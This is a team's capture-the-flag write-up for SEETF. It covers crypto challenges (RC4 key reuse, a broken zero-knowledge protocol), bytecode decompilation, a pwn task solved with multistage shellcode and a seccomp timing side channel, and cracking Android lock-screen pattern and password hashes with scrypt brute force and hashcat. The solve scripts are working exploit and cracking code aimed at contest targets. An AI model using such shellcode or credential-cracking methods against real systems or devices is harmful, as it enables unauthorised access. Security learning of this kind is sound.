Our team recently participated in an SEETF managed by the Singapore-based CTF team, Social Engineering Experts. It was a hard CTF, with few solves in most tasks. We spent limited time on this CTF, and solved 8 out of 52 tasks.. The tasks we completed were enjoyable and well-designed.
Crypto/π BabyRC4
Description
This challenge gives us a RC4-crypto python script containing outputs when the correct flag has been encrypted.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#chall.py
from Crypto.Cipher import ARC4
from os import urandom
key = urandom(16)
flag = b'SEE{?????????????????????????????????}'[::-1]
def enc(ptxt):
cipher = ARC4.new(key)
return cipher.encrypt(ptxt)
print(f"c0 = bytes.fromhex('{enc(flag).hex()}')")
print(f"c1 = bytes.fromhex('{enc(b'a'*36).hex()}')")
"""
c0 = bytes.fromhex('b99665ef4329b168cc1d672dd51081b719e640286e1b0fb124403cb59ddb3cc74bda4fd85dfc')
c1 = bytes.fromhex('a5c237b6102db668ce467579c702d5af4bec7e7d4c0831e3707438a6a3c818d019d555fc')
"""
Solution
From the code, we have total of four relevant strings, and one unknown key. We know both the plaintext and ciphertext for c1, and this can be used to find the key used to encipher c0. This can be done manually, but usually there are some codes available on GitHub that can do this for us. This RC4StaticKeyAttack is perfect for our challenge. In order to use this code, we need three seperate files, contaning βknown plaintextβ, βknown encrypted plaintextβ, and βunknown encrypted plaintextβ. Respectively, this is βa*36β, βc1β and βc0β.
We first have to unhex the hex-strings in c0 and c1, before saving the results to two seperate files. Then, running this command gives us the flag reversed:
1
2
3
4
5
$ python rc4Cracker.py a c1.txt c0.txt
}5382efac:s5ss5y3k_4Cr_35Uer_rEv3n{EοΏ½_
$ echo "}5382efac:s5ss5y3k_4Cr_35Uer_rEv3n{EοΏ½_" | rev
_οΏ½E{n3vEr_reU53_rC4_k3y5ss5s:cafe2835}
Flag: SEE{n3vEr_reU53_rC4_k3y5ss5s:cafe2835}
Crypto/π Dumb Chall
Description
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import random
import time
from Crypto.Util.number import bytes_to_long, isPrime
from secret import FLAG
def fail():
print("You have disappointed the pigeon.")
exit(-1)
def generate_prime_number(bits: int = 128) -> int:
num = random.getrandbits(bits)
while not isPrime(num):
num += 1
return num
def generate_random_boolean() -> bool:
return bool(random.getrandbits(1))
def first_verify(g, p, y, C, w, r) -> bool:
assert w
return ((y * C) % p) == pow(g, w, p)
def second_verify(g, p, y, C, w, r) -> bool:
assert r
return pow(g, r, p) == C
p = generate_prime_number()
g = random.getrandbits(128)
x = bytes_to_long(FLAG.encode())
y = pow(g, x, p)
print(f"p = {p}")
print(f"g = {g}")
print(f"y = {y}")
print("Something something zero-knowledge proofs blah blah...")
print("Why not just issue the challenge and the verification at the same time? Saves TCP overhead!")
seen_c = set()
for round in range(30):
w, r = None, None
choice = generate_random_boolean()
if not choice:
w = int(input("Enter w: "))
C = int(input("Enter C: "))
if C in seen_c:
fail()
seen_c.add(C)
verify = first_verify
else:
r = int(input("Enter r: "))
C = int(input("Enter C: "))
if C in seen_c:
fail()
seen_c.add(C)
verify = second_verify
if not verify(g, p, y, C, w, r):
fail()
else:
print(f"You passed round {round + 1}.")
time.sleep(1)
print(
"You were more likely to get hit by lightning than proof correctly 30 times in a row, you must know the secret right?"
)
print(f"A flag for your troubles - {FLAG}")
Solution
From main.py
, we can see two equations that needs to be solved in order to find r, w and c - given that we know p, g and y. This ChatGPT-made little script translates this for us. Important to note that we must provide a new c-value each time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import random
from Crypto.Util.number import inverse
def calculate_w_C(p, g, y):
# Generate a random value for w
w = random.randint(1, p-1)
# Calculate C using the formula ((y * C) % p) = pow(g, w, p)
C = (pow(g, w, p) * inverse(y, p)) % p
return w, C
# Example usage
p = 138339054622480636217973886436684429447
g = 187082860418021956490875773844728890046
y = 63635950892574443465191557662369110480
w, C = calculate_w_C(p, g, y)
print(f"w = {w}")
print(f"C = {C}")
def calculate_r_C(p, g, y):
# Generate a random value for r
r = random.randint(1, p-1)
# Calculate C as pow(g, r, p)
C = pow(g, r, p)
return r, C
# Example usage
#p = 62511905156902670651650359514373349527
#g = 318354074501276353109508236329421326191
#y = 43603606418406660908149360984632747011
r, C = calculate_r_C(p, g, y)
print(f"r = {r}")
print(f"C = {C}")
When sending the first w and C values, we are asked to send the w and C or r and C again. Since the solution-code uses βrandom.randintβ, we get different solutions every time we run the code, although p, g and y are the same.
This way, by running the code 30 times, and sending different answers each time to the server, we are successfull.
1
2
3
4
5
6
7
8
9
10
(...)
You passed round 28.
Enter w: 26653330868271923629249562507999503201
Enter C: 89748417146455869464518051899557623573
You passed round 29.
Enter r: 3172230171798229839659115946053117428
Enter C: 21233648226212261214066492576671944623
You passed round 30.
You were more likely to get hit by lightning than proof correctly 30 times in a row, you must know the secret right?
A flag for your troubles - SEE{1_571ll_h4v3_n0_kn0wl3d63}
FLAG: SEE{1_571ll_h4v3_n0_kn0wl3d63}
Rev/π decompile-me
GO DECOMPILE ME NOW!!!
Solution
Used uncompyle6 to decompile the given bytecode. This produced the following output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
β― uncompyle6 decompile-me.pyc
# uncompyle6 version 3.9.0
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0]
# Embedded file name: decompile-me.py
# Compiled at: 2023-04-24 17:58:34
# Size of source mod 2**32: 433 bytes
from pwn import xor
with open('flag.txt', 'rb') as (f):
flag = f.read()
a = flag[0:len(flag) // 3]
b = flag[len(flag) // 3:2 * len(flag) // 3]
c = flag[2 * len(flag) // 3:]
a = xor(a, int(str(len(flag))[0]) + int(str(len(flag))[1]))
b = xor(a, b)
c = xor(b, c)
a = xor(c, a)
b = xor(a, b)
c = xor(b, c)
c = xor(c, int(str(len(flag))[0]) * int(str(len(flag))[1]))
enc = a + b + c
with open('output.txt', 'wb') as (f):
f.write(enc)
And here is the script to reverse this xor encryption:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import xor
# Load the encrypted file
with open('output.txt', 'rb') as f:
enc = f.read()
# Compute lengths for different sections
enc_len = len(enc)
third_len = enc_len // 3
# Split the encrypted data into thirds
a_enc, b_enc, c_enc = enc[:third_len], enc[third_len:2*third_len], enc[2*third_len:]
# XOR operations for decryption
c = xor(c_enc, int(str(enc_len)[0]) * int(str(enc_len)[1]))
b = xor(a_enc, c)
a_first = xor(a_enc, xor(b_enc, xor(c_enc, int(str(enc_len)[0]) * int(str(enc_len)[1]))))
a = xor(a_first, int(str(enc_len)[0]) + int(str(enc_len)[1]))
# Concatenate decrypted sections
flag = a + c + b
print(flag)
# Save the decrypted data
with open('decrypted_flag.txt', 'wb') as f:
f.write(flag)
FLAG: SEE{s1mP4l_D3c0mp1l3r_XDXD}
Pwn/π Shellcode As A Service
Description
Hey, welcome to my new SaaS platform! As part of our early access program, we are offering the service for FREE. Our generous free tier gives you a whole SIX BYTES of shellcode to run on our server. What are you waiting for? Sign up now!
Solution
The challenge provides access to a server where you can execute shellcode, limited to six bytes. However, the server restricts the system calls that can be executed using the seccomp security feature. Only the open and read system calls are allowed. The goal is to read the contents of the flag file, which requires bypassing this limitation.
To overcome the restriction, we will use a multistage shellcode approach. The idea is to execute a small initial shellcode that sets up the environment to read more shellcode from stdin. Letβs break down the solution step by step:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python3
from pwn import *
from glob import glob
context.update(arch="amd64")
context.log_level = "debug"
exe = "./chall"
#p = process(exe)
p = process(["strace",exe])
# Stage 1 shellcode
sc = f"""
//read(rsi=0, rdi=rip, rdx=1000) #rcx=RIP
push rdx
pop rsi
push rax
pop rdi
syscall
"""
# Read flag shellcode
sc_flag = f"""
.rept 128
nop
.endr
// open("/flag", NULL)
lea rbx, [rip+flag] # load /flag [flag]
mov rax, 2
mov rdi, rbx
mov rsi, 0
syscall
// read(rax, buffer, 1000)
lea rdi, [rax] # file descriptor
lea rsi, [rip+buffer] # buffer
mov rdx, 1000 # count
mov rax, 0 # sys_read
syscall
// write(1, buffer, rax)
mov rdi, 1 # stdout
lea rsi, [rip+buffer] # buffer
mov rdx, rax # bytes read
mov rax, 1 # sys_write
syscall
flag:
.string "./flag"
buffer:
.space 1000
"""
p.recv()
p.send(asm(sc))
p.send(asm(sc_flag))
p.interactive()
This script employs a clever 6-byte shellcode that performs two important tasks: it reads additional bytes from stdin and writes them to the location where execution continues. sys.read() requires three arguments: a file descriptor, a buffer and a size value:
read(int fd, void *buf, size_t count);
.
As one can see form a x86 syscall table, to read from stdin we need to set RAX=0
, RSI=0
and RDX
to some value. Next we need to set the buffer pointer, RDI
register, to point to the place in memory where the bytes that get read in should be placed.
It is very hard to set all these registers up correctly with only 6 bytes of shellcode, but we can leverage the register data lying around at the time of execution.
We can therefore use the following shellcode to read in more bytes from stdin:
1
2
3
4
5
6
7
8
sc = f"""
//read(rdi=rip, rsi=0, rdx=1000) #rcx=RIP
push rdx
pop rsi
push rax
pop rdi
syscall
"""
Stage 2 will therefore be in the stdin buffer. By reading into the address of the RIP
(instruction pointer), the current code is overwritten with the stage 2 payload. To ensure proper execution, a nopsled is included in the stage 2 payload to handle any byte alignment issues.
For further exploration, here is a good medium article explaining multi-stage shellcodes: Shellcoding 0x3: Dropping Multi-stage Payload.
When running the above script with strace
we see it works:
1
2
3
4
5
6
7
read(0, "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"..., 20148224) = 1238
open("./flag", O_RDONLY) = 3
read(3, "SEE{REDACTED}", 1000) = 13
write(1, "SEE{REDACTED}", 13) = 1
[DEBUG] Received 0x27 bytes:
b'+++ killed by SIGSYS (core dumped) +++\n'
+++ killed by SIGSYS (core dumped) +++
HOWEVER, the program uses seccomp to limit available syscalls to only OPEN and READ:
1
2
assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) == 0);
assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0);
Therefore, we need to find an alternative method to read the file without using the write syscall. After some research, we discovered a similar shellcode challenge called βmuteβ in the 2017 DEFCON quals. That challenge disallowed the use of the write syscall, and participants solved it by employing a timing side-channel attack.
The idea behind a timing attack is to glean information based on how long operations take to execute. Here, the basic idea of the attack is to guess each character of the flag, one at a time. If a guess is correct, the connection is kept open, otherwise, it is closed.
Hereβs the script that successfully solves the challenge: SOLVE SCRIPT:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/python3
from pwn import *
from glob import glob
import string
# Set context debug level
context.update(arch="amd64")
context.log_level = "error"
elf = ELF("./chall")
context.binary = elf
# Precompile the parts of the shellcode that do not change during iterations
nop_shellcode = asm("""
.rept 9
nop
.endr
""")
open_shellcode = asm(shellcraft.open("/flag", constants.O_RDONLY, None))
read_shellcode = asm(shellcraft.read(3, count=13))
exit_setup_shellcode = asm("""
//Set up exit
xor rax, rax
mov rdi, 4
mov r8, 60
""")
def connect():
sc = f"""
//read(rsi=0, rdi=rip, rdx=1000) #rcx=RIP
push rdx
pop rsi
push rax
pop rdi
syscall
"""
global p
#p = process(elf.file.name)
p = remote("win.the.seetf.sg", 2002)
p.recv()
p.send(asm(sc))
def tryChar(c, index):
connect()
shellcode = nop_shellcode
shellcode += open_shellcode
shellcode += read_shellcode
shellcode += exit_setup_shellcode
# Compile the dynamic part together with the exit part
cmp_and_exit_shellcode = f"""
// Compare each guessed character with the flag loaded in memory
mov rbx, [rsp + {index // 8}*8]
shr rbx, {8*(index%8)}
cmp bl, {ord(c)}
jz loop
// Exit if correct
mov rax, r8
syscall
jmp end
// Loop if incorrect
loop:
jmp loop
end:
"""
shellcode += asm(cmp_and_exit_shellcode)
p.send(shellcode)
# Try reading
try:
p.recv(timeout=0.5)
except:
# Connection closed on us, wrong guess
p.close()
return False
# Connection stayed open, correct guess
p.close()
return True
flag = "SEE{"
# Not specifying stop here since we don't know how long the flag is
while True:
# Guess every character
#"SEE{REDACTED}":
#string.printable:
for c in string.printable:
print("Trying char: " + c)
# If we found this char, break and move to the next
if tryChar(c, len(flag)):
flag += c
print(f"Flag is now: {flag}")
break
else:
# If we hit this, we're probably done reading the flag
break
print("Flag: " + flag)
The stage 2 shellcode reads the βflagβ file into memory and then checks each character against a guessed character. If the guess is correct, the shellcode enters an infinite loop, keeping the connection open. If the guess is incorrect, the shellcode performs a syscall not allowed by seccomp, causing the program to terminate and close the connection. The script starts with an empty flag and a set of possible characters. For each position in the flag, it iterates over the possible characters and uses the tryChar function to test each one. If the connection remains open, the guessed character is appended to the flag and the script moves on to the next position. This process continues until all positions have been guessed correctly.
FLAG: SEE{n1c3_sh3llc0ding_d6e25f87c7ebeef6e80df23d32c42d00}
Misc / NoCode
Description
Solution
As the code suggest, this is a white-space encoded text, and therefore we cannot see anything in the text-fields.
Copying the text to Cyberchef, we can see these red dots, seperated with spaces.
β β ββ β βββ β β βββ β β β β β ββ ββββ β β ββ β ββ β β βββ β βββ ββββ ββ β ββ β β ββ ββ ββ β ββ β β ββ ββ ββ β β β ββ βββ ββ ββ ββ β ββ β ββ ββββ ββ ββββββ β β β βββ β βββ β βββ ββ ββ β β βββ ββ ββ β βββ ββ ββ βββ ββββ ββ β ββββ ββ β βββ β ββ ββββ βββ β βββ βββ β ββ βββββ βββ βββ ββ βββ β βββ ββ ββ ββ ββ βββ βββ β ββββ β β β β
This looks like binary, or maybe morse. Using Sublime, we can fast and easy replace the dots and spaces with 0 and 1.
The dots are represented with <0x200b> in Sublime. By replacing <0x200b> with 0, and space with 1, we have a binary code that gives us the flag when decoded in CyberChef:
Flag: SEE{vanilla.js.org_dfe6a05ccbec9bda49cd1b70b2692b45}
Misc / 1337 word search
Description
Solution
ChatGPT provided us with a program that was able to search for a pattern in a grid. It was quite long, but the main part can be seen here:
for row in range(rows):
for col in range(cols):
# Check if the current cell matches the first character of the pattern
if grid[row][col] == pattern[0]:
# Check for pattern in all directions
for direction in directions:
if search_from_position(row, col, direction):
match = {
'start': (row, col),
'end': (row + (pattern_length - 1) * direction[0], col + (pattern_length - 1) * direction[1])
}
matches.append(match)
We transformed the text-file into a βgridβ consisting of nested lists in python, and used the chatGPT-provided algoritm to search for SEE{
in it.
Thankfully we found just one match which hopefully should be the correct one.
We searched for the rest of the flag using the following script:
x = 487
y = 953
flag = ''
for i in range(40):
flag+=grid[x][y]
x-=1
y-=1
print(flag)
We had to ajust the number of characters in the flag a few times to get the correct amout, but eventually we got the flag! FLAG: SEE{you_found_me_now_try_the_1337er_one}
Misc / Android Zoo
Description
Solution
First Device
Found a chinese writeup similar to the challenge faced with the first device. Adjusting the code to give 5-length password, we are able to find the pattern. https://hackmd.io/@crazyman/BJXeu3abY
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# a1.py
file1 = open('password.txt', 'a')
for a in "123456789":
for b in "123456789":
for c in "123456789":
for d in "123456789":
for e in "123456789":
if a != b and a != c and a != d and a != e \
and b != c and b != d and b != e \
and c != d and c != e \
and d != e:
password = a + b + c + d + e
file1.write(password + '\n')
file1.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#c1.py
import struct
import binascii
import scrypt
N = 16384
r = 8
p = 1
f = open('gatekeeper.pattern.key', 'rb')
blob = f.read()
s = struct.Struct('<' + '17s 8s 32s')
(meta, salt, signature) = s.unpack_from(blob)
#print(salt)
f1 = open('password.txt', 'rb')
lines = f1.readlines()
for line in lines:
password = line.rstrip() # Remove newline character
to_hash = meta + password
hash = scrypt.hash(to_hash, salt, N, r, p)
print('password: %s' % password)
print('signature: %s' % binascii.hexlify(signature))
print('Hash: %s' % binascii.hexlify(hash[0:32]))
print('Equal: %s' % (hash[0:32] == signature))
if hash[0:32] == signature:
print("OK")
exit()
1
2
3
4
5
6
7
8
9
$ python a1.py
$ python c1.py
(...)
password: b'95184'
signature: b'8c6f2d4d5eb89748ca46b11da509abb1d7a1c80e802ed071c63d5d7ca9109319'
Hash: b'8c6f2d4d5eb89748ca46b11da509abb1d7a1c80e802ed071c63d5d7ca9109319'
Equal: True
OK
Second device
password.key
contained the following `
6DFE4D0C832761398B38D7CFAD64D78760DEBAD266EB31BD62AFE3E486004CE6ECEC885C which is the sha-hash and the md5-hash concatinated. From this we gathered the MD5 hash
66EB31BD62AFE3E486004CE6ECEC885C` which is easier to crack.
Opening locksetting.db
in sqlite3 we can read the lockscreen.password_salt
-value to be 8074783686056175940. Transforming this to hex and we have our salt: 700f64fafd7f6944
We were told that the password was in Rockyou, so we started up hashcat with mode 10 (md5($pass.$salt))
, our hash and salt and finaly the rockyou wordlist.
1
2
3
4
5
6
7
8
9
10
11
12
13
hashcat -m 10 66EB31BD62AFE3E486004CE6ECEC885C:700f64fafd7f6944 -a 0 ~/Downloads/rockyou.txt
hashcat (v6.2.5) starting
[...]
Dictionary cache built:
* Filename..: /home/heitmann/Downloads/rockyou.txt
* Passwords.: 14344394
* Bytes.....: 139921525
* Keyspace..: 14344387
* Runtime...: 1 sec
66eb31bd62afe3e486004ce6ecec885c:700f64fafd7f6944:PIGeon4ever
The password for device nr two is PIGeon4ever
FLAG: SEE{PIGeon4ever:95184}
Comments